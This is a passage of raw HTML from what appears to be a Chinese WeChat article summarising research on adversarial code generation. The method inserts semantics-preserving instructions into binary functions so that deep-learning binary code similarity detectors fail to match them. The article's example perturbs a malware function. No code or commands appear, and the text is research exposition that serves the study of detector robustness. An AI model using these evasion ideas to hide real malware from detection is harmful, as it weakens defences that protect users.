&#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 65px;height: 29px;" data-type="png" data-w="362" src="https://wechat2rss.xlab.app/img-proxy/?k=20b7ce71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwtS6tH001owXxaa1icUKXicIicBw4ib8Yh9ST0TQcN8pWTxCvBB4TVhQug%2F640%3Fwx_fmt%3Dpng"/>，<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.45414847161572053" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 40px;height: 18px;" data-type="png" data-w="229" src="https://wechat2rss.xlab.app/img-proxy/?k=a230fcb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU4jyt2JMCpRKTPzgV7iaYN4FngK7wribIz2DCsCV1qBh9HsUXibGEBv4GQ%2F640%3Fwx_fmt%3Dpng"/>和<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4135593220338983" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 50px;height: 21px;" data-type="png" data-w="295" src="https://wechat2rss.xlab.app/img-proxy/?k=725f53c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUBBiazpibG5WBIsUH2pWxnKGm9jSQFDWgR2Rjr4nLwxmYiaGArcqGYskXQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">等。</span></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">尽管基于深度学习的BCSD已经取得了很好的效果，对相似的二进制代码有很高的召回率。但由于深度学习本身的原因，使得模型容易受到输入代码微小变化的影响，尤其是对抗代码的存在，使得模型容易被欺骗，从而影响模型对代码的判断，降低相似代码的召回率。为了验证基于深度学习的方法的脆弱性并提高方法的鲁棒性，论文提出了</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 87px;height: 22px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">，一种</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">高效的黑盒对抗代码生成算法。</span></p><h2 cid="n0" mdtype="heading" style="margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;margin-top: 24px;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">算法概要</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">不同于图像和文本领域的对抗攻击，对抗代码的搜索空间可以是离散的，目标汇编代码搜索范围局限于特定的架构指令集(如</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.17016317016317017" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 117px;height: 20px;" data-type="png" data-w="429" src="https://wechat2rss.xlab.app/img-proxy/?k=f5d52294&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU8hX8n4EQHBrd43LRlHIMDtJheiaRfzNWcH8XJskxzicQRLyKVAOResfg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">)，且对抗代码必须满足语义约束，即</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.对抗代码功能与原始代码相同；</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.对抗代码的控制流图与原始代码相同。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>是一种黑盒攻击下的对抗代码生成算法，通过三个任务：</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.确定可攻击集合；</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">2．插入对抗指令；</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">3.纠正对抗指令的语义错误。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;">生成对抗代码样本，并成功地应用于<img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUdt7KMMKeCicyL1SXyMl9MCZLKuEl8KbVEXwtbvBoVMmPJcibR3XibKcCg/0?wx_fmt=png" data-cropx1="0" data-cropx2="315" data-cropy1="0" data-cropy2="55.04854368932039" data-galleryid="" data-ratio="0.1746031746031746" data-s="300,640" style="height: 18px;white-space: normal;text-align: center;width: 103px;" data-type="jpeg" data-w="315" src="https://wechat2rss.xlab.app/img-proxy/?k=063bc4b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU8yCMV3LWf963vFxTysPpEHLZbxwq8sTGsRibH0CIv3udJbib3qDaTnZQ%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;">和</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.171875" data-s="300,640" style="height: 19px;white-space: normal;text-align: center;width: 110px;" data-type="png" data-w="320" src="https://wechat2rss.xlab.app/img-proxy/?k=2df81218&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU5EgS4feRzgF75JOWFmYj2SR8cVpFftOXIHpA1sRDTEr6h0fCS2hsPA%2F640%3Fwx_fmt%3Dpng"/>基准测试中的三个最先进的基于深度学习的BCSD模型（</span><span style="font-size: 15px;height: 29px;letter-spacing: 0.544px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4530386740331492" data-s="300,640" style="height: 29px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 65px;" data-type="png" data-w="362" src="https://wechat2rss.xlab.app/img-proxy/?k=20b7ce71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwtS6tH001owXxaa1icUKXicIicBw4ib8Yh9ST0TQcN8pWTxCvBB4TVhQug%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size: 16px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);">，</span><span style="font-size: 15px;height: 18px;letter-spacing: 0.544px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.45414847161572053" data-s="300,640" style="height: 18px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 40px;" data-type="png" data-w="229" src="https://wechat2rss.xlab.app/img-proxy/?k=a230fcb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU4jyt2JMCpRKTPzgV7iaYN4FngK7wribIz2DCsCV1qBh9HsUXibGEBv4GQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size: 16px;">，</span><span style="font-size: 15px;height: 21px;letter-spacing: 0.544px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4135593220338983" data-s="300,640" style="height: 21px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-align: center;width: 50px;" data-type="png" data-w="295" src="https://wechat2rss.xlab.app/img-proxy/?k=725f53c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUBBiazpibG5WBIsUH2pWxnKGm9jSQFDWgR2Rjr4nLwxmYiaGArcqGYskXQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size: 15px;">）。</span><span style="font-size: 15px;">在对抗实验中，<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>能通过向程序中添加较少的扰动，生成有效误导目标模型的对抗代码。</span></span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">算法介绍</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">算法流程</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2727272727272727" data-s="300,640" style="" data-type="png" data-w="616" src="https://wechat2rss.xlab.app/img-proxy/?k=31a019c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU3F9MQHGzoKm3vkuCA30FvP9SmVIkJZ3d4dTxZEfxPuIy9Vx5RF9oqg%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;text-align: center;margin-top: 0px;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图一</span></section><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">如图上图示，通过在恶意软件函数的第6条指令之后插入指令，得到了三个对抗样例。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对抗样例1可以欺骗基于深度学习的BCSD方法，但插入的跳转指令改变了控制流图，因此不是一个有效的对抗样例。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对抗样例2通过在指令</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.40948275862068967" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 52px;height: 21px;" data-type="png" data-w="232" src="https://wechat2rss.xlab.app/img-proxy/?k=0ccc4c5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnU9RKxt4HicA0A5j46YBk0blVDSXwDoFicC3NyxHwFQmOib3hJGmg3zzFBA%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">之后插入指令</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.21549636803874092" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 88px;height: 19px;" data-type="png" data-w="413" src="https://wechat2rss.xlab.app/img-proxy/?k=bcb9bcf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUnI8PGQtAnxaHwXPhA2QKGDRRLk6Qrw3icOicdqt2bALQQrkHPH8q8NOw%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">，虽然可以欺骗基于深度学习的BCSD方法，但改变了函数的功能，因此它也</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">不是一个有效的对抗样例。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对抗样例3由<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>生成，在不改变控制流图的同时，又保证了与恶意函数功能的功能等价。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对于给定有n个指令的函数</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.17328519855595667" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 95px;height: 16px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=f430c466&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUnDIJibiaanwaLsPic8F7hdS55NLpd1ibHp1UtMjMrmm0NicficiaoEe7ll73Q%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">，有效的对抗样例</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7808219178082192" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 28px;height: 22px;" data-type="png" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=82184cdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnULG7uO8vbapUwvZhicVdBG6LuwJyQEww4gu9ianIUyzzcof5gLjkiaY9jw%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">应满足以下要求:</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47040252565114443" data-s="300,640" style="width: 322px;height: 151px;" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=0a4898a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUaricypRVQfNNvVKBBl9ArWECUZaibGbYdZIlz7lU74Ue37NLrLCWwgww%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 